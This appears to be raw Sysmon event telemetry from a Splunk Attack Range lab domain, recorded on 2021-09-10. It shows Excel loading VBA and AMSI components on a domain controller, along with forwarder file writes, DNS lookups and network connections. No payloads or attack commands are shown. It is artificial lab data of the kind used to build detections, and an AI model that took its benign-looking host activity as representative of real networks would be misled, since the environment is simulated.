Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=93F631F5C7D90D49603DDA5477999BFE,SHA256=CAD093AE51B97E8527A1D47B6D9531AAC4490AAD5054F459CC7FCB414C8BA118,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000048970Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.776{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local56647- 734700x800000000000000048969Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:09.034{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\Windows.Networking.Connectivity.dll10.0.14393.4169 (rs1_release.210107-1130)Windows Networking Connectivity Runtime DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.Networking.Connectivity.dllMD5=7934F613774F04B5BFD097B3D77F81FB,SHA256=E1A32AADFED0859269C89D4E1C961D3BC8EA2A5FA86487C9817BB52899E0F60E,IMPHASH=A22E7FE596D3FD4304E9006454C5249BtrueMicrosoft WindowsValid 23542300x800000000000000016318Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:09.011{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5CD77DC3884143CBB108F21CFFFEF73E,SHA256=5BF2E5DAE9F930951715CFB6B1F91FFEE7B19FEF4147982E546E42E09BCC3EF2,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048973Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.787{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59500-false52.109.88.213-443https 22542200x800000000000000048972Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.778{7BD73061-727B-613B-4A0B-00000000F001}6276attackrange.local0::ffff:10.0.1.14;C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE 23542300x800000000000000048971Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:10.159{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3EA6B2504D7A0F5FA8A1AD600AC16559,SHA256=B9E7791CD0C11EF996CAF2BC226991776DE5047229EEBBC11D75F606AFBDBD2B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016320Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:09.474{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50284-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016319Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:10.090{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6705DAE4B83B09EE80856C23AF7B2755,SHA256=02A735CC34B468A86FB839D84E71D1153891713E95B57B4D6276CCB50C7D0517,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016322Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:11.549{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-043MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016321Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:11.123{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1E9501B45F6F91C4A95DBD92500EC1B3,SHA256=1688D7F6E3226B54D722AC1E0EC3BD33F55F54CC350A44D6BE6BAD41FC0551E0,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048975Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:10.042{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local56305- 23542300x800000000000000048974Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:11.200{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0AD568608A15B0711F84503FAF6C6236,SHA256=8A6AE312928B041794BF2A668CBC2987590E78B3B42235C612660AEABA3D18CD,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000048980Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:12.262{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=F2A6A11A7D694092F52980372C08E862,SHA256=2612023F8ACE422861D512FC8BFE4DF3D21A823A9E5824A363AE9151F7E9F5AC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000048979Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:12.247{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9C5EEB0893E8E6270EA199D452A29B14,SHA256=E13AFAF6C48311209645F70FD47668F6725CB261CB143A1035B4DD12C098D1B8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016324Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:12.549{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-044MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016323Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:12.188{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2C16B3801D24098CF1D70A5268A1673B,SHA256=AE6EDE826E6485C89218F21E8734952A215E025F12BEC2DDC9A2073711A0F416,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048978Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:12.137{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=F2A6A11A7D694092F52980372C08E862,SHA256=2612023F8ACE422861D512FC8BFE4DF3D21A823A9E5824A363AE9151F7E9F5AC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000048977Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:12.137{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=D103BA71290C944164BABDD8E6BA7024,SHA256=FD4FFD7883E33CB13E5277054BB7CA02732BB2E85711A40CF3125092114B29B9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000048976Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:12.012{7BD73061-6D0F-613B-9406-00000000F001}4480172C:\Windows\Explorer.EXE{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000048982Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:13.262{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3C12AA4018971E1034A5BB06C77AEAA9,SHA256=4A5C1DA6028B32F1DDEBD4B5BB1F4E804A99A034A4C060F9701E25491B6C3D3D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016325Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:13.188{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1CDDC63D3993B71BC67467ED1942FB8A,SHA256=2DF4F64FE11C1EAC31F5BC9E2C23340A40870516AF09B0BD5C92970922EC7F3E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048981Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:13.137{7BD73061-6D0F-613B-9406-00000000F001}4480172C:\Windows\Explorer.EXE{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000048986Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:14.356{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=2083052ED714A2EDE8B3F861BA6C9E99,SHA256=5EC9199683DE75C3F50377943CCE4F7349755AD9322A9630A695771D6CE1F8EC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000048985Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:14.356{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=6D17F63AE9E86D5679835A6D2E523F34,SHA256=22FA13BD45D052BE9824889D36BD1B2DA9121F390B73FA101732289C0F5DF9AD,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000048984Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:14.278{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8741B3C20C70C8A075051FB88567FCC7,SHA256=45EEB7F740437980AC474A19769148DB83B83A112246F0CCC1713300AF5F5E6E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016326Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:14.219{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5A6CAAA6D2CEE70BA48FB44A7FA77454,SHA256=2E2D1F0D800F325A0B166908604BB39F815F12047475A39EEBDDD68359549D11,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048983Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:11.350{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59501-false10.0.1.12-8000- 734700x800000000000000048995Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:15.966{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\VBA\VBA7.1\1033\VBEUIINTL.DLL7.1.16.13801Microsoft Visual Basic for Applications componentMicrosoft Visual Basic for ApplicationsMicrosoft CorporationVbeuiIntl.dllMD5=645F7837FC9038516CE51EC98CBA8D0F,SHA256=53C81C5C73F4D24E3F33921149D18281C292A7A150BA111122ECA46FE60445EC,IMPHASH=00000000000000000000000000000000trueMicrosoft CorporationValid 734700x800000000000000048994Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:15.934{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\VBA\VBA7.1\VBEUIRES.DLL7.1.16.8326Microsoft Visual Basic for Applications componentMicrosoft Visual Basic for ApplicationsMicrosoft CorporationVbeuiRes.DLLMD5=7C900B160E1CE4C4916774009E8B35F7,SHA256=A75301E30F4A5F5CEB0259D334BF78C43E30B66A55964CF2C5A1E0FE400730E4,IMPHASH=00000000000000000000000000000000trueMicrosoft CorporationValid 734700x800000000000000048993Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:15.763{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\vfs\System\FM20.DLL16.0.55555.10000Microsoft® Forms DLLMicrosoft® FormsMicrosoft CorporationPRODUCT_NAME .DLLMD5=6A294B60016498FF52B0DA42693C832A,SHA256=F8817D04A1FDD9B9A3E35E8893EEEB6726C167B14BFF0B3F077B4E3CC6C5C5E2,IMPHASH=355C1E0F9A357EBE1C367FBC17B124C3trueMicrosoft CorporationValid 734700x800000000000000048992Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:15.657{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\amsi.dll10.0.14393.4169 (rs1_release.210107-1130)Anti-Malware Scan InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationamsi.dllMD5=89C79675F7FEDEB6373C9D2045F7B7C5,SHA256=5B40293CF56D44377A91BF68CF2113F523B61185F02DEEAB621BE51F0ADA6131,IMPHASH=6FEE5278940E0EA644D3641165D77874trueMicrosoft WindowsValid 734700x800000000000000048991Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:15.623{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\VBA\VBA7.1\1033\VBE7INTL.DLL7.01.1091Visual Basic Environment International ResourcesVisual Basic EnvironmentMicrosoft Corporation-MD5=CDA3EA478C604783B76964E88FD7030D,SHA256=DEBCD9E5DA29B2675C95055DBC342B74369BB5ED34ED5BAFC0738F470D5B4E69,IMPHASH=00000000000000000000000000000000trueMicrosoft CorporationValid 734700x800000000000000048990Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:15.606{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\VBA\VBA7.1\VBEUI.DLL7.1.16.13801Microsoft Visual Basic for Applications componentMicrosoft Visual Basic for ApplicationsMicrosoft CorporationVBEUI.DLLMD5=FAECA7282B7A44B8A028683CF4557130,SHA256=69F0E7933999B73F579F1301678DB4A0B1367B4A07DB0F8F0218DCDE2B4EB318,IMPHASH=76A81C4D90C808A554C8432ED1E914EDtrueMicrosoft CorporationValid 23542300x800000000000000048989Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:15.685{7BD73061-727B-613B-4A0B-00000000F001}6276ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXEC:\Users\ADMINI~1\AppData\Local\Temp\~DF18F7A8995AE0F752.TMPMD5=66D662C0B7EDF54C024A09D024B3CDD6,SHA256=717E5F8731D031D1FD7DDA69182D307B704A8A1BACBE484F9C1EA4FF96419B61,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000048988Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:15.513{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=88B1DB5C3452D780875B87180D04B921,SHA256=05555A5ED0F7FC5609BEC9EAF610D2A743158085C63D7E1261A7C0F43FC007E7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016327Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:15.235{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B3F5F9FAF062DCBE557A222EA925DF4D,SHA256=847996C72D7AE93B89D91A849D6A4527242C08A651A40CCD1E87BCBB70DDA524,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048987Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:12.259{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59502-false2.18.233.69a2-18-233-69.deploy.static.akamaitechnologies.com443https 23542300x800000000000000048999Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:16.575{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=366986EC21FA0591AEFF026907358042,SHA256=5A3E58A566342C6ED5EF654AF99A4EF52F104DE01598E8366E033F16DDE6C54F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016328Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:16.313{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C59205B8AC530E8D9054001B4822E2DE,SHA256=853505EDB5831F46E5186BB2094A054DD91B453135B14820DDBD3D1315178312,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048998Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:13.523{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55549- 734700x800000000000000048997Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:16.059{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\vfs\System\FM20ENU.DLL16.0.8326.2076Microsoft® Forms International DLLMicrosoft® FormsMicrosoft Corporationfm20enu.DLLMD5=B2374323C4B7BD022A114E222A5018CF,SHA256=4DED73DA8DC8CC6B79D02DCFE723AFEC99FF4B374A0ACA893109D46162C9B613,IMPHASH=00000000000000000000000000000000trueMicrosoft CorporationValid 734700x800000000000000048996Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:15.983{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\oleacc.dll7.2.14393.4169 (rs1_release.210107-1130)Active Accessibility Core ComponentMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEACC.DLLMD5=1B04659F0A22BFE9142B6AD36467ACEA,SHA256=67BC7C19D71FB98A7B5882B0F2BFC8F2E4491B4ACBE23EE545D54FFCAEC808E9,IMPHASH=427F18493D540CBF4092BD07A97BE51FtrueMicrosoft WindowsValid 23542300x800000000000000016330Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:17.329{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C08492B8DDA4063AD2EC0E86D44D8EFF,SHA256=E861092E7B0865EF057DC6926EA94D406AF4130A1B5A990FD37C4B1886E7604C,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000049051Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.528{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000049050Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.528{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 10341000x800000000000000049049Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.528{7BD73061-7289-613B-4D0B-00000000F001}65721940C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000049048Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:14.443{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local61677- 734700x800000000000000049047Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000049046Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000049045Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.341{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft 